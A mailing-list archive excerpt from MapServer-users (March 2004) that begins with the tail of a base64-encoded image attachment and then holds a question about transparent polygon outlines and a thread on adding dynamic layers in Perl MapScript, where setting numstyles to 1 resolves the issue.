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 AHzQ5SITWbfMAAAAAElFTkSuQmCC --------------010604050809070305050804-- From luiz.vital at gmx.net Wed Mar 31 08:39:23 2004 From: luiz.vital at gmx.net (Luiz Fernando) Date: Wed, 31 Mar 2004 13:39:23 -0300 Subject: [Mapserver-users] Transparent outline in MapServer 4.0.1 Message-ID: Hello, I got the same problem reported by http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0207/msg00562.html (that describes a problem in rendering no outlines in polygon shapes). The solution seems to be in http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0207/msg00563.html, but i couldn?t find these lines in mapprimitive.c. I?m using MapServer 4.0.1, and it seems that the whole mapprimitive.c code changed from 3.3.6. Does anyone knows if it was corrected in the 4.0.1, cause it seems to have the same problem. Thanks for the attention. []s Luiz Fernando Systems Analyst Danca Sistemas S?o Paulo - Brazil. From sgillies at frii.com Wed Mar 31 08:56:59 2004 From: sgillies at frii.com (Sean Gillies) Date: Wed, 31 Mar 2004 09:56:59 -0700 Subject: [Mapserver-users] Adding Dynamic layers in Mapscript 4.0.1 Perl In-Reply-To: <25D4A9F614A1964BA08A67C4FB9D3DF30109A126@srpexc2.srp.gov> References: <25D4A9F614A1964BA08A67C4FB9D3DF30109A126@srpexc2.srp.gov> Message-ID: <6CFFF0C2-8334-11D8-8133-000393B98B56@frii.com> Jason, Will you enter this stealth requirement as a SWIG mapscript bug in Bugzilla and add me (sgillies at frii.com) to the CC list? I'll see what can be done about it. Heads up: there are going to be new styleObj features in future releases. See http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=548. cheers, Sean Il giorno 31/mar/04, alle 09:12, WILHITE JASON W ha scritto: > That was it! Thank you very much. Although...It would seem to me that > that attribute should be set to 1 by default when a class gets created. > Apparently a styleObj gets created when you create the class because I > was able to set the styleObj attributes all day long but the numstyles > attribute remains 0. > > Talk about a stealth requirement. > > Thanks again. > > -Jason > > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of John > Beisley - RSG > Sent: Wednesday, March 31, 2004 1:42 AM > To: mapserver-users at lists.gis.umn.edu > Subject: Re: [Mapserver-users] Adding Dynamic layers in Mapscript 4.0.1 > Perl > > WILHITE JASON W wrote: > >> <>The static members of the map file are showing up just fine but not >> the dynamic layer. I have a feeling it might be a problem with the >> color assignments but for the life of me I can't figure it out. >> >> Does anyone have any ideas? >> >> Thank you, >> >> -Jason >> > I think I ran into a similar problem myself. Although I don't recall > the > > solution, I do remember finding that calling save() on the map object > to > > save the generated map file to disk was a very useful debugging > solution. > > However my own code for setting the style on a line layer that I have > does something similar to the following: (where $layer is a layerObj) > > my $layerClass = new mapscript::classObj($layer); > > # ... Set the values inside $layerClass ... > > $layerClass->{numstyles} = 1; > > > - John > > -- > Website: www.pml.ac.uk > Registered Charity No. 1091222 > Company No. 4178503 > ------------------------------------------------------------------- > This e-mail, its content and any file attachments are confidential. > If you have received this e-mail in error please do not copy, > disclose it to any third party or use the contents or attachments > in any way. Please notify the sender by replying to this e-mail or > e-mail forinfo at pml.ac.uk and then delete the email without making > any copies or using it in any other way. > > The content of this message may contain personal views which are > not the views of Plymouth Marine Laboratory unless specifically > stated. > > Email transmission cannot be guaranteed to be secure or error free > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > _______________________________________________ > Mapserver-users mailing 